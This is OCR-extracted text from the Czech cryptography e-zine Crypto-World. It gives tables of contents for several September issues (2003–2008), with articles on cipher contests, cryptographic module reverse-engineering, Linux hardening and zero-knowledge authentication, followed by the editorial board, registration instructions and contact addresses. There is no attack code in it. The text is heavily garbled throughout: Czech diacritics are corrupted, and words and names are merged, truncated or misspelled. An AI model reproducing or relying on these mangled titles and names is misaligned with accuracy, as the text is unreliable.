D. K problematice $éni nevyzadanych a @iujicich

sckéleni prostednictvim Internetu, zejména pak jeho
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elektronické posty¢ast Il. (J.Matejka) 12-15
E. Informace o konferenci CRYPTO 2003 (J.Hruby) 16-19
F. AEC Trustmail (recenze), (M.Till) 20-24
G. Letem Sifrovym sstem 25-26
H. Zawrecné informace 27
Crypto-World 9/2004
A. SoutZ v luSEni 2004 zaala ! (P.Vondruska) 2-3
B. Prehled uloh - 1.kolo (P.Vondruska) 4-5
C. Crypto-World slavi § let od svého zalozeni (P.Vondruska) 6-7
D. Reverse-engineering kryptografického modulu
(Daniel Cveek, Mike Bond, Steven J. Murdoch) 8-14
Hashovaci funkce v roce 2004 (J.Pinkava) 185-
Letem Sifrovym sitem - O¢em jsme psali 19-20
Zawrecne informace 21

rypto-World 9/2005

Soutz v luseni 2005 zaina! (P.Vondruska) 2-5
Bude kryptoanalyza €esku trestanadzenim? (V.Klima) 6-10
Hardening GNU/Linuxu na urovni opéraho systemuast 1.(J.Kadlec) 11-16
MikuldSské kryptobesidka 2005 (D.Csk) 16
Honeypot server zneuzit k bankovnim podingéast 2. (O. Suchy) 17-22
Eskalani protokoly,éast 3. (J. Krhovjak) 23-26
Ocem jsme psali v 1ét2000-2004 27
Zawrecné informace 28

rypto -World 9/2006

SoutZ v luseni 2006 zaala! (P. Vondruska) 2-6
Prehled ukal ,Soutz v luseéni 2006“ (P. Vondruska) 7-12
Systém Gronsfeld (P.Vondruska) 13-14
Mikulasska kryptobesidka - MKB 2006 (D. Cek) 15-16
Ocem jsme psali v 281999-2005 17-18
Zawrecné informace 19

rypto -World 9/2007

I TMOOW»Q TMMUO®WPQ IEMMUO®PQ OMM

SoutZ v luseni 2007 zaala! (P.Vondruska) 2-4
Mladi Sepana Schmidta (doprovodny text k I.kolu sthe) 5-11
Nazorcten&e k nadvrhu TrZ (T.Sekera) 12
Mikulasskéa kryptobesidka 13
Ocem jsme psali v 262000-2006 14-15
Zawrecneé informace 16

Prlloha MikulaSska kryptobesidka - Call for Pap&B CFP.PDF)

Crypto-World 9/2008

A. Podzimni Souiz v luséni 2008, uvodni informace 2-3
B. John Wellington (prolog Sotite 2008) 4-6
C. Autentizace pomoci Zero-Knowledge protak@l.Hajny) 7-13
D. Recenze knihy: Matyas,V., Krhovjak, J. a kolutérizace elektronickych

transakci a autentizace dat i uzivat@l.J.Jakl) 14-15
E. Ocem jsme psali v 261999-2007 16-17
F. Zawrecne informace 18
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H. Zavére¢éné informace

1. Sesit

Crypto-World je oficidlni informeni sesit "Kryptologické sekce Jednagskych matematik
a fyzika" (GCUCMP). Obsahujélanky podepsané autoryiipadné chyby a négsnosti jsou
dilem P.VondruSky a autbrjednotlivych podepsanyckilanki, GCUCMP za & nema
odbornou ani jinou zodp@dnost.

Adresa URL, na niz fizete najit tento seSit (zpravidla 3 tydny po jebweslani) a fedchozi
seSity GCUCMP, dern aktualizované novinky z kryptologie a inforomh bezpénosti,
normy, standardy, strankgkterych¢leni a dalSi souvisejici materialy:
http://crypto-world.info

2. Registrace / zruSeni registrace

Zajemci o e-zin se mohou zaregistrovat pomoci denaa adreseavel.vondruska@crypto-
world.info (pfednt: Crypto-World) nebo pouZit k odeslani Zadostiegistraci elektronicky
formul& na http://crypto-world.info F¥i registraci vyZadujeme pouze jméno irpeni, titul,
pracovist (neni podminkou) a e-mail adresdemou k zasilani kddke stazeni sesitu.

Ke zruSeni registrace stezaslat kratkou zpravu na e-madvel.vondruska@crypto-world.info
(prednet: ruSim odbr Crypto-Worldu!) nebo oft pouzit formul& na http://crypto-world.info
Ve zpraw prosim uvd'te jméno a fijmeni a e-mail adresu, na kterou byly kody zagilan

3. Redakce
E-zin Crypto-World
Redakni prace: Pavel VondruSka
Stali gispevatelé: Pavel Vondruska
Jaroslav Pinkava
Jazykova Uprava: Jakub Vrana
Prehled autat: http://crypto-world.info/obsah/autori.pdf
NEWS Vlastimil Klima
(vybeér prispivki, Jaroslav Pinkava
komentde a Tomas Rosa
vkladani na web) Pavel Vondruska
Webmaster Pavel Vondruska, jr.

4. Spojeni (abeced#)

redakce e-zinu ezin@crypto-world.info, http://crypto-world.info

Vlastimil Klima v.klima@volny.cz, http://cryptography.hyperlink.cz/

Jaroslav Pinkava  Jaroslav.Pinkava@zoner.¢z http://crypto-world.info/pinkava/

Tomas Rosa t_rosa@volny.cz http://crypto.hyperlink.cz/

Pavel Vondruska pavel.vondruska@crypto-world.infohttp://crypto-world.info/vondruska/index.php
Pavel Vondruska,jr. pavel@crypto-world.infg http://webdesign.crypto-world.info

Jakub Vrana jakub@vrana.cz http://www.vrana.cz/
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